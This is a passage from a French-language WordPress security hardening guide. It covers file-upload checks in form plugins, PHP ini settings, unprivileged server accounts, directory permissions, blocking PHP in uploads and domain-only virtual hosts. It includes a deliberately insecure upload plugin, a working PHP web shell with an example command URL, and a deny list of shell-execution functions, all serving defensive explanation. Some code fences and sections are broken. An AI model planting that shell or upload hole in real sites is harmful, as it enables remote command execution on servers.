// Vérifier si le type de fichier est autorisé
if ( ! in_array( $file_type['ext'], $allowed_mime_types ) ) {
return new WP_Error( 'wpcf7_upload_failed', __( 'Le type de fichier n\'est pas autorisé.', 'contact-form-7' ) );
}
// Gérer le téléchargement du fichier
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
// Vérifier si le téléchargement a réussi
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpcf7_upload_failed', $upload['error'] );
}
return $upload;
}
```
Dans Contact Form 7, la fonction `wpcf7_allowed_file_extensions()` renvoie une liste des extensions de fichiers autorisées,
et la fonction `wpcf7_handle_upload()` vérifie si l'extension du fichier figure dans cette liste avant de procéder au téléchargement.
2. WPForms
- WPForms gère les téléchargements de fichiers en vérifiant les types de fichiers autorisés.
**Exemple de code pour WPForms :**
```
function wpforms_get_file_types() {
// Renvoie un tableau des types de fichiers autorisés
return array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
}
function wpforms_process_file_upload( $file ) {
$allowed_file_types = wpforms_get_file_types();
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'wpforms_upload_failed', __( 'Le type de fichier n\'est pas autorisé.', 'wpforms' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpforms_upload_failed', $upload['error'] );
}
return $upload;
}
```
3. WooCommerce
- WooCommerce définit et vérifie également les extensions de fichiers autorisées directement dans son code de gestion des téléchargements.
**Exemple de code pour WooCommerce :**
```
function woocommerce_handle_upload( $file ) {
$allowed_file_types = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'woocommerce_upload_failed', __( 'Le type de fichier n\'est pas autorisé.', 'woocommerce' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'woocommerce_upload_failed', $upload['error'] );
}
return $upload;
}
```
**Exemple : plugin Malicious fileupload**
- Un plugin malveillant peut sembler inoffensif mais exploiter l'extension fileinfo pour contourner les vérifications de sécurité :
```
<?php
/*
Plugin Name: Simple Malicious Upload
Description: Un plugin avec une capacité cachée de téléchargement de fichiers malveillants.
Version: 1.0
*/
function simple_file_upload_menu() {
add_menu_page('Téléchargement de fichier', 'Téléchargement de fichier', 'manage_options', 'file-upload', 'simple_file_upload_page');
}
add_action('admin_menu', 'simple_file_upload_menu');
function simple_file_upload_page() {
?>
<h1>Téléchargement de fichier</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file" />
<input type="submit" name="upload_file" value="Télécharger" />
</form>
<?php
if (isset($_POST['upload_file'])) {
simple_handle_file_upload();
}
}
function simple_handle_file_upload() {
if (!empty($_FILES['uploaded_file']['tmp_name'])) {
$file_tmp = $_FILES['uploaded_file']['tmp_name'];
$file_name = basename($_FILES['uploaded_file']['name']);
// Utilisation de fileinfo pour vérifier le type MIME
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file_tmp);
finfo_close($finfo);
// Gestion non sécurisée : autorise tous les fichiers PHP à être téléchargés
if ($mime_type === 'text/plain' || $mime_type === 'application/x-php') {
$upload_dir = wp_upload_dir();
$upload_file = $upload_dir['path'] . '/' . $file_name;
// Déplacer le fichier téléchargé vers le répertoire uploads
if (move_uploaded_file($file_tmp, $upload_file)) {
echo "Fichier téléchargé avec succès.";
} else {
echo "Échec du téléchargement du fichier.";
}
} else {
echo "Type de fichier invalide.";
}
}
}
?>
```
**Explication de l'exploit :**
- Le plugin malveillant permet de télécharger des fichiers PHP si leur type MIME est `application/x-php`.
- Un attaquant peut ainsi télécharger un web shell PHP en utilisant cette fonctionnalité.
- Une fois téléchargé, l'attaquant accède à l'URL du fichier et exécute des commandes arbitraires.
**Exemple : code d'un web shell PHP**```
<?php
if (isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
Démonstration de l'attaque
http://yourwordpress.com/wp-content/uploads/webshell.php.http://yourwordpress.com/wp-content/uploads/webshell.php?cmd=ls, l'attaquant peut exécuter des commandes arbitraires.Remarque :
S'assurer que les fonctions et les paramètres PHP sont correctement configurés peut considérablement améliorer la sécurité de votre site WordPress. Des paramètres mal configurés peuvent exposer votre site à diverses vulnérabilités, notamment l'exécution de code à distance, la divulgation d'informations et le détournement de session. Il est crucial de durcir PHP en désactivant ou en configurant correctement ces fonctions.
Pourquoi est-ce important ?
Exécution de code à distance :
allow_url_fopen et les fonctions comme exec peuvent permettre l'exécution de code à distance, conduisant à une compromission potentielle du système.Divulgation d'informations :
display_errors et expose_php peuvent divulguer des informations sensibles sur la configuration de votre serveur, facilitant ainsi la recherche de vulnérabilités par les attaquants.Sécurité de session :
session.cookie_secure et session.cookie_httponly, protègent les cookies de session contre l'accès via des scripts côté client ou leur transmission sur des canaux non sécurisés.Audit :
Correction :
allow_url_fopen :
file_get_contents(), fopen(), include(), et require() peuvent récupérer des données à distance via FTP ou HTTP.allow_url_fopen pour diverses fonctionnalités.; (Optional) Disable allow_url_fopen, if not unnecessary
allow_url_fopen = Off
display_errors :
; Disable PHP errors not be displayed on your WordPress website
display_errors = Off
expose_php :
; Prevent exposing PHP version in HTTP response headers
expose_php = Off
session.cookie_secure
session.cookie_secure :
; Ensure session cookies are sent over HTTPS
session.cookie_secure = On
session.cookie_httponly
session.cookie_httponly :
; Make session cookies inaccessible to JavaScript
session.cookie_httponly = On
open_basedir :
; Restrict PHP file access to the specified directory
open_basedir = "/path/to/your/web/root"
Exemple :
open_basedir = "/var/www/html:/tmp"
Cette configuration permet à PHP d'accéder uniquement aux fichiers du répertoire /var/www/html et du répertoire temporaire /tmp.
disable_functions :
; Disable potentially dangerous PHP functions
disable_functions = "system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail"
Explication des fonctions désactivées :
system, exec, shell_exec, passthru :
mysql_list_dbs :
ini_alter :
dl :
symlink, link :
chgrp :
leak :
popen :
apache_child_terminate :
virtual :
Exemple : Voici une liste des fonctions PHP désactivées dans un WordPress réel``` system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
### 8.5. Assurer que le serveur Web s'exécute en tant qu'utilisateur non root - Utilisateur et groupe uniques et non privilégiés pour l'application serveur
Dans la plupart des cas, les serveurs Web s'exécutent sous des utilisateurs tels que "www-data" (Debian/Ubuntu) ou "apache" (RHEL/CentOS).
Ces utilisateurs sont des comptes de service dédiés sans privilèges spéciaux sur le serveur et sont utilisés pour désigner l'utilisateur et le groupe que les processus workers du serveur Web adopteront.
Si ces utilisateurs ont des privilèges système ou s'exécutent en tant que root, ils doivent être modifiés.
**Audit :**
- Vérifiez l'utilisateur exécutant le processus du serveur Web. (Plus précisément, il s'agit du processus worker du serveur Web.)
1. Pour Apache :
```
# ps -ef | grep httpd
root 2257 1 0 Apr08 ? 00:00:01 /usr/local/apache/bin/httpd -k start
apache 5678 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5679 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5680 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5681 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
```
2. Pour Nginx :
```
# ps -ef | grep nginx
root 626653 1 0 Apr08 ? 00:00:00 nginx: master process /usr/sbin/nginx
nginx 626654 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626655 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626656 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626657 626653 0 Apr08 ? 00:00:00 nginx: worker process
```
**Correction :**
- Le serveur Web doit s'exécuter en tant que compte dédié non privilégié.
- Dans la plupart des cas, l'un de ces comptes couramment utilisés tels que "www-data", "apache", "nginx", "nobody" ou "daemon" est utilisé.
1. Pour Apache :
```
# vim /etc/httpd/httpd.conf
..
...
User www-data
Group www-data
..
...
```
2. Pour Nginx :
```
# vim /etc/nginx/nginx.conf
..
...
user daemon;
```
**Remarque :**
- Les utilisateurs de processus du serveur Web ne doivent pas avoir de privilèges de connexion shell. ```
# cat /etc/passwd | grep -i www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
WordPress est construit avec PHP, une configuration système correcte est donc nécessaire pour exécuter correctement le code PHP.
L'exécution du code PHP dans WordPress est gérée par PHP-FPM, un gestionnaire de processus FastCGI. Pour garantir le fonctionnement sécurisé de PHP-FPM, celui-ci doit s'exécuter sous un compte de service dédié et non privilégié.
Généralement, le compte du processus du serveur web et le compte PHP-FPM sont définis sur le même compte. Cependant, pour une sécurité renforcée, il est préférable de les exécuter sous des comptes séparés.
Voici deux raisons :
Isolation des processus :
Principe du moindre privilège :
Audit:
root 1234 1 0 12:00 ? 00:00:01 php-fpm: master process (/etc/php-fpm.conf) php-fpm 5678 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5679 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5680 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5681 1234 0 12:00 ? 00:00:00 php-fpm: pool www
**Remédiation :**
- PHP-FPM doit s'exécuter sous un compte dédié et non privilégié.
- Dans la plupart des cas, le compte utilisé est "php-fpm".
**Changement du compte de processus pour PHP-FPM :**```
# vim /etc/php-fpm.d/www.conf # Adjust the path based on your PHP version
...
user = php-fpm
group = php-fpm
listen.owner = php-fpm
listen.group = php-fpm
Le compte du processus PHP-FPM ne doit pas avoir de privilèges de connexion shell.```
php-fpm❌999:999:PHP-FPM:/run/php:/usr/sbin/nologin
**Remarque :**
- Il est préférable, d’un point de vue sécurité, d’utiliser des comptes utilisateur différents pour les processus PHP-FPM et les processus du serveur web.
- Lorsqu’on demande quel est le meilleur choix pour la sécurité, ils doivent être différents. Évitez d’utiliser le même compte d’exécution dans ce contexte.
### 8.7. Assurer une configuration sécurisée du répertoire d’accueil WordPress
Pour exploiter un serveur web de manière sécurisée, il est crucial de configurer correctement les droits de propriété et les permissions du répertoire d’accueil WordPress.
Dans la plupart des cas, les droits de propriété et les permissions des fichiers et répertoires WordPress sont définis pour correspondre au compte du processus du serveur web.
Cette configuration permet au serveur web d’accéder aux fichiers dans la racine web et de fonctionner sans erreur.
Cependant, cette configuration n’est pas sécurisée.
Par exemple, si le processus du serveur web est « apache » et que le répertoire racine web ainsi que ses fichiers appartiennent à « apache », cela peut entraîner de graves vulnérabilités.
Des attaquants pourraient exploiter ces vulnérabilités pour obtenir un accès non autorisé à des fichiers et répertoires critiques dans le répertoire d’accueil WordPress.
**Exemple de vulnérabilité courante :**
- Si le compte du processus serveur web et le répertoire d’accueil (racine web) et ses fichiers appartiennent à « apache » :
- En cas de vulnérabilités dans le site web et d’un accès externe au système (comme une webshell), les attaquants peuvent effectuer diverses actions dans la racine web :
1. Créer, modifier ou supprimer des fichiers ou répertoires dans la racine web.
2. Manipuler les journaux d’accès web, y compris leur modification, suppression ou création (sauf dans certains environnements).
3. Obtenir un accès aux cookies de session actifs des utilisateurs connectés (dans des environnements particulièrement vulnérables).
Pour atténuer ces risques, il est crucial d’ajuster correctement les droits de propriété et les permissions du répertoire d’accueil WordPress.
**Remédiation :**
- Définir le propriétaire du répertoire d’accueil (racine web) et des fichiers sur « root:root ». (Évitez de le définir identique au compte du processus serveur web)
- Le UMASK par défaut pour les répertoires et fichiers est 022. (Répertoires : 755, Fichiers : 644)
- Pour les répertoires nécessitant un accès en écriture, comme le téléchargement de fichiers par le service web, définissez le propriétaire de ces répertoires sur le compte du processus serveur web.
**Répertoires nécessitant généralement des permissions d’écriture dans WordPress :**```
/wp-content/uploads
/wp-content/cache
/wp-content/wflogs (when using security plugins like Wordfence)
/wp-content/upgrade (used during the WordPress upgrade process)
Après avoir configuré les droits de propriété et les permissions du répertoire personnel conformément aux mesures de remédiation ci-dessus, le résultat du répertoire personnel de WordPress est le suivant :
Exemple : WordPress Home Directory``` drwxr-xr-x 5 root root 4096 May 27 2024 . drwxr-xr-x 3 root root 4096 May 27 2024 .. -rw-r--r-- 1 root root 418 May 27 2024 index.php -rw-r--r-- 1 root root 19935 May 27 2024 license.txt -rw-r--r-- 1 root root 7346 May 27 2024 readme.html -rw-r--r-- 1 root root 7106 May 27 2024 wp-activate.php drwxr-xr-x 9 root root 4096 May 27 2024 wp-admin -rw-r--r-- 1 root root 351 May 27 2024 wp-blog-header.php -rw-r--r-- 1 root root 2328 May 27 2024 wp-comments-post.php -rw-r--r-- 1 root root 4973 May 27 2024 wp-config-sample.php -rw-r--r-- 1 root root 2755 May 27 2024 wp-config.php drwxr-xr-x 8 root root 4096 May 27 2024 wp-content -rw-r--r-- 1 root root 3940 May 27 2024 wp-cron.php drwxr-xr-x 25 root root 12288 May 27 2024 wp-includes -rw-r--r-- 1 root root 2496 May 27 2024 wp-links-opml.php -rw-r--r-- 1 root root 3300 May 27 2024 wp-load.php -rw-r--r-- 1 root root 51556 May 27 2024 wp-login.php -rw-r--r-- 1 root root 8403 May 27 2024 wp-mail.php -rw-r--r-- 1 root root 24568 May 27 2024 wp-settings.php -rw-r--r-- 1 root root 30869 May 27 2024 wp-signup.php -rw-r--r-- 1 root root 4620 May 27 2024 wp-trackback.php -rw-r--r-- 1 root root 3065 May 27 2024 xmlrpc.php
**En cas de comptes de processus php-fpm et serveur web différents (Permissions séparées)**
Si le compte du processus du serveur web est "apache" et celui du processus php-fpm est "php-fpm".
Modifiez les permissions des répertoires nécessitant un accès en écriture dans WordPress (par exemple, /wp-content/uploads).
- Propriétaire : php-fpm
- Groupe : apache
- Permissions du répertoire : 775 (755 si nécessaire)
**Structure des fichiers et répertoires**
Définissez les permissions en écriture pour les répertoires nécessaires afin que les comptes "php-fpm" et "apache" puissent tous deux écrire.```
ex) /service/wordpress/www
├── index.php (root:root, 644)
├── license.txt (root:root, 644)
├── readme.html (root:root, 644)
├── wp-activate.php (root:root, 644)
├── wp-admin/ (root:root, 755)
├── wp-blog-header.php (root:root, 644)
├── wp-comments-post.php (root:root, 644)
├── wp-config-sample.php (root:root, 644)
├── wp-config.php (root:root, 644)
├── wp-content/ (root:root, 755)
│ ├── plugins/ (root:root, 755)
│ ├── themes/ (root:root, 755)
│ ├── uploads/ (php-fpm:apache, 775)
│ │ ├── 2024/ (php-fpm:apache, 775)
│ │ └── ... (php-fpm:apache, 775)
│ └── ... (root:root, 755)
├── wp-cron.php (root:root, 644)
├── wp-includes/ (root:root, 755)
├── wp-links-opml.php (root:root, 644)
├── wp-load.php (root:root, 644)
├── wp-login.php (root:root, 644)
├── wp-mail.php (root:root, 644)
├── wp-settings.php (root:root, 644)
├── wp-signup.php (root:root, 644)
├── wp-trackback.php (root:root, 644)
└── xmlrpc.php (root:root, 644)
Summary
En procédant ainsi, vous séparez les permissions du serveur web et de PHP-FPM, appliquez correctement les droits de propriété et les permissions du répertoire d’accueil, et renforcez la sécurité.
Cette méthode s’applique non seulement à WordPress, mais aussi à toute structure de serveur web servant du contenu web.
Garantir que l’exécution de PHP est désactivée dans les répertoires où des fichiers peuvent être téléversés est essentiel pour maintenir un environnement sécurisé.
Les répertoires de téléversement avec des permissions d’écriture sont des cibles potentielles pour les attaquants qui souhaitent téléverser des scripts malveillants, tels que des webshells, qui peuvent être exécutés pour compromettre le serveur.
Pourquoi est-ce important ?
Atténuer les attaques par webshell :
Réduire la surface d’attaque :
Conformité aux bonnes pratiques de sécurité :
Audit :
Remédiation :
/wp-content/uploads.Étapes de configuration
<Location "/wp-content/uploads">
SetHandler application/octet-stream
</Location>
location /wp-content/uploads {
default_type application/octet-stream;
}
<Location "/wp-content/uploads">
php_flag engine off
# or alternatively
php_value engine 0
</Location>
<Location "/wp-content/uploads">
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Location>
<Directory "/var/www/html/yourwordpress/wp-content/uploads">
# Disable PHP execution
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
location /wp-content/uploads {
location ~ \.php$ {
fastcgi_pass off;
}
}
location /wp-content/uploads {
location ~ \.php$ {
deny all;
}
}
Ces configurations garantissent que même si un fichier PHP est téléversé dans le répertoire /wp-content/uploads, il ne peut pas être exécuté, ce qui empêche d’éventuelles attaques.
Explication des directives de configuration
SetHandler application/octet-stream :
php_flag engine off / php_value engine 0 :
SetHandler none :
Remarque :
/wp-content/uploads restera accessible et s’affichera correctement avec une balise :```
En appliquant ces configurations, vous renforcez considérablement le répertoire de téléversement contre les vulnérabilités potentielles d’exécution de scripts.
### 8.9. S’assurer que le serveur web ne répond qu’aux en‑têtes hôte basés sur le domaine
Pour sécuriser votre serveur web, il est essentiel de garantir qu’il ne répond qu’aux requêtes adressées à votre nom de domaine et non aux requêtes faites directement à l’adresse IP du serveur.
Ceci peut être réalisé par une configuration appropriée des directives VirtualHost.
Dans la plupart des cas, les services web sont accessibles via un nom de domaine, par exemple `https://yourwordpress.com`. Le serveur web reçoit cette requête et sert le contenu approprié. Pour imposer ce comportement, nous devons configurer le serveur web pour qu’il ne réponde qu’aux requêtes contenant l’en‑tête Host correct.
**Risques de sécurité potentiels de l’accès par IP**
1. Énumération de services :
- Les attaquants peuvent utiliser les adresses IP pour énumérer les services fonctionnant sur le serveur, augmentant ainsi le risque de découvrir et d’exploiter des vulnérabilités.
2. Exposition d’informations sensibles :
- Un serveur mal configuré pourrait exposer des répertoires, fichiers ou autres informations sensibles lorsqu’il est accédé par IP, qui ne devraient pas être accessibles publiquement.
3. Contournement des contrôles de sécurité :
- L’accès par IP pourrait contourner des mesures de sécurité qui ne sont appliquées que pour l’accès basé sur le domaine, conduisant potentiellement à un accès non autorisé.
**Audit :**
- Vérifiez que le serveur web est configuré pour ne répondre qu’aux requêtes basées sur le domaine et non à l’accès direct par adresse IP.
**Remédiation :**
- Configurez le serveur web pour ne traiter que les requêtes basées sur le domaine spécifié et pour refuser ou rediriger les autres requêtes de manière appropriée.
**Étapes de configuration**
1. Configuration VirtualHost par défaut
- Créez un VirtualHost par défaut qui intercepte toutes les requêtes non spécifiées et retourne une erreur 403 Forbidden ou les redirige.
**Pour Apache :**
```
<VirtualHost _default_:80>
DocumentRoot /var/www/html/yourwordpress
...
<Location />
Require all denied
</Location>
<VirtualHost _default_:443>
DocumentRoot /var/www/html/yourwordpress
...
SSLEngine on
SSLCertificateFile /path/to/ssl/certificate.crt;
SSLCertificateKeyFile /path/to/ssl/private.key;
...
<Location />
Require all denied
</Location>
</VirtualHost>
```
**Pour Nginx :**
```
server {
listen 80 default_server;
return 403;
}
server {
listen 443 ssl default_server;
...
ssl_certificate /path/to/ssl/certificate.crt;
ssl_certificate_key /path/to/ssl/private.key;
...
return 403;
}
```
2. Configuration VirtualHost basé sur le domaine
- Assurez-vous d’avoir un VirtualHost configuré pour votre domaine.
**Pour Apache :**
```
<VirtualHost *:80>
ServerName yourwordpress.com
...
Redirect permanent / https://yourwordpress.com/
</VirtualHost>
<VirtualHost *:443>
ServerName yourwordpress.com
DocumentRoot /var/www/html/yourwordpress
...
SSLEngine on
SSLCertificateFile /etc/httpd/to/ssl/certificate.crt;
SSLCertificateKeyFile /etc/httpd/to/ssl/private.key;
...
</VirtualHost>
```
**Pour Nginx :**
```
server {
listen 443 ssl;
server_name yourwordpress.com;
root /var/www/html/wordpress;
...
ssl_certificate /path/to/ssl/certificate.crt;
ssl_certificate_key /path/to/ssl/private.key;
...
```
3. Test
- Voici la création du VirtualHost par défaut et du VirtualHost basé sur le domaine pour `yourwordpress.com`.
- Après la création du VirtualHost par défaut et du VirtualHost basé sur le domaine pour `yourwordpress.com`, l’accès est refusé (erreur 403) pour les requêtes qui ne sont pas basées sur le domaine (https://ip), ce qui donne un écran d’erreur 403.
```
$ curl -i -k http(s)://10.10.66.88
HTTP/1.1 403 Forbidden
Server: nginx
Date: Mon, 03 Jun 2024 23:23:13 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
$ curl -i -k https://yourwordpress.com
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jun 2024 23:32:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: keep-alive
Hello, yourwordpress.com
```
- S’il est nécessaire d’avoir une communication inter‑serveur ou une communication au sein du même sous‑réseau IP, vous pouvez configurer le VirtualHost par défaut pour autoriser l’accès à partir d’adresses IP spécifiques.
En mettant en œuvre ces configurations, le serveur web ne répond qu’aux requêtes adressées à votre domaine.
### 8.10. Configuration complète du serveur web
Voici un exemple de configuration complète d’un serveur web incluant les directives de sécurité. Adaptez et utilisez cette configuration en fonction de votre environnement WordPress.
1. Apache
```
<VirtualHost _default_:80>
DocumentRoot /var/www/html/yourwordpress
ErrorLog /var/log/httpd/http.ip.error.log
CustomLog /var/log/httpd/http.ip.access.log combined
<Location />
Require all denied
</Location>
<VirtualHost _default_:443>
DocumentRoot /var/www/html/current/public
ErrorLog /var/log/httpd/https.ip.error.log
CustomLog /var/log/httpd/https.ip.access.log combined
# SSL Configuration
SSLEngine on
SSLCertificateFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.crt
SSLCertificateKeyFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.key
SSLSessionTimeout 1d
SSLSessionCache shared:MozSSL:10m
SSLSessionTickets off
SSLProtocol TLSv1.2 TLSv1.3
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305
SSLHonorCipherOrder off
<Location />
Require all denied
</Location>
</VirtualHost>
<VirtualHost *:80>
ServerName yourwordpress.com
Redirect permanent / https://yourwordpress.com/
</VirtualHost>
<VirtualHost *:443>
ServerName yourwordpress.com
Protocols h2 http/1.1
DocumentRoot /var/www/html/current/public
ErrorLog /var/log/httpd/https.yourwordpress.com.error.log
CustomLog /var/log/httpd/https.yourwordpress.com.access.log combined
# SSL Configuration
SSLEngine on
SSLCertificateFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.crt
SSLCertificateKeyFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.key
SSLSessionTimeout 1d
SSLSessionCache shared:MozSSL:10m
SSLSessionTickets off
SSLProtocol TLSv1.2 TLSv1.3
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305
SSLHonorCipherOrder off
<Directory /var/www/html/current/public>
Options -Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
# Deny PHP execution in uploads directory
<Directory "/var/www/html/current/public/wp-content/uploads">
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
# PHP Serving
ProxyPassMatch ^/(?!wp-content/uploads/.*\.php$)(.*\.php(/.*)?)$ unix:/var/run/php-fpm/php-fpm.sock|fcgi://localhost/var/www/html/current/public
#ProxyPassMatch ^/(?!wp-content/uploads/.*\.php$)(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/html/current/public
# Favicon
<Location "/favicon.ico">
ErrorDocument 404 "Not Found"
SetEnvIf Request_URI "^/favicon\.ico$" no_log
</Location>
# Robots.txt
<Location "/robots.txt">
Require all granted
SetEnvIf Request_URI "^/robots\.txt$" no_log
</Location>
# Restrict access to wp-cron.php
<Files "wp-cron.php">
Require all denied
Require ip 127.0.0.1
</Files>
# Restrict access to wp-json
<Location "/wp-json/">
Require all denied
Require ip 127.0.0.1
Require ip 10.10.77.49
Require ip 10.10.71.20
</Location>
# Restrict access to wp-admin
<Location "/wp-admin">
Require all denied
Require ip 10.10.77.49
Require ip 10.10.71.20
</Location>
<Files "wp-login.php">
Require all denied
Require ip 10.10.77.49
Require ip 10.10.71.20
</Files>
# Deny access to hidden files
<FilesMatch "^\.">
Require all denied
</FilesMatch>
</VirtualHost>
```
2. Nginx
```
server {
listen 80 default_server;
listen 443 default_server ssl http2;
error_log /var/log/nginx/http.ip.error.log;
access_log /var/log/nginx/http.ip.access.log main;
ssl_certificate /etc/nginx/conf.d/cert/yourwordpress.com_ssl.crt;
ssl_certificate_key /etc/nginx/conf.d/cert/yourwordpress.com_ssl.key;
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m; # about 40000 sessions
ssl_session_tickets off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
location / {
deny all;
}
}
server {
listen 443 ssl http2;
server_name yourwordpress.com;
root /var/www/html/wordpress;
error_log /var/log/nginx/https.yourwordpress.com.error.log;
access_log /var/log/nginx/https.yourwordpress.com.access.log main;
ssl_certificate /etc/nginx/conf.d/cert/yourwordpress.com_ssl.crt;
ssl_certificate_key /etc/nginx/conf.d/cert/yourwordpress.com_ssl.key;
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m; # about 40000 sessions
ssl_session_tickets off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
location = /favicon.ico {
log_not_found off;
access_log off;
}
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
# Restrict to access Wordpress Cron
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
# Restrict to access json rest-api
location ~ ^/wp-json/ {
allow 127.0.0.1; # Allow localhost
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
access_log off;
log_not_found off;
}
# Restrict to access Wordpress Admin
location = /wp-admin {
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
}
# Deny all attempts to access hidden files such as .htaccess, .htpasswd, .DS_Store (Mac).
# Keep logging the requests to parse later (or to pass to firewall utilities such as fail2ban)
location ~ /\. {
deny all;
}
# Deny access to any files with a .php extension in the uploads directory
location /wp-content/uploads {
location ~ \.php$ {
deny all;
}
}
# Other example
# location ~* /(?:uploads|files)/.*\.php$ {
# deny all;
# }
# Rewrite rules, sends everything through index.php and keeps the appended query string intact
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
# Serving PHP
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\\.php)(/.+)$;
# fastcgi_pass 127.0.0.1:9000; # With php-cgi (or other tcp sockets):
fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; # With php-fpm (or other unix sockets):
fastcgi_index index.php;
include /etc/nginx/fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
expires max;
log_not_found off;
}
}
```
## 9. Assurer les mises à jour de sécurité WordPress
WordPress corrige les vulnérabilités de sécurité en publiant de nouvelles versions lorsque des vulnérabilités sont découvertes.
Par exemple, si une vulnérabilité de sécurité est trouvée dans WordPress 6.5.2, elle sera corrigée et distribuée dans la version 6.5.3.
Étant donné que les mises à jour de sécurité ne sont pas gérées version par version, des mises à jour régulières sont nécessaires pour traiter les vulnérabilités.
Référez-vous aux informations officielles de publication de WordPress pour les mises à jour :
[WordPress Releases](https://wordpress.org/download/releases/)
**Remédiation :**
- Mettez régulièrement WordPress à jour.
- WordPress ne gère pas les mises à jour (y compris les mises à jour de sécurité) version par version.
- Au 20 mai 2024, seule la version 6.5 est en maintenance.
**Remarque :**
- Les versions bêta, nightly builds et autres checkout Subversion ne sont pas prises en charge.
- Évitez d’utiliser des produits forkés ou des versions qui ne sont pas des versions officielles de WordPress.
- Documentation des versions prises en charge : [Supported Versions](https://wordpress.org/documentation/article/supported-versions/)
## 10. Assurer une vérification régulière des vulnérabilités de sécurité pour WordPress
WordPress est un logiciel de système de gestion de contenu (CMS).
Étant un logiciel packagé, les vulnérabilités de sécurité surviennent principalement dans ses composants (fichiers noyau, plugins, thèmes, etc.).
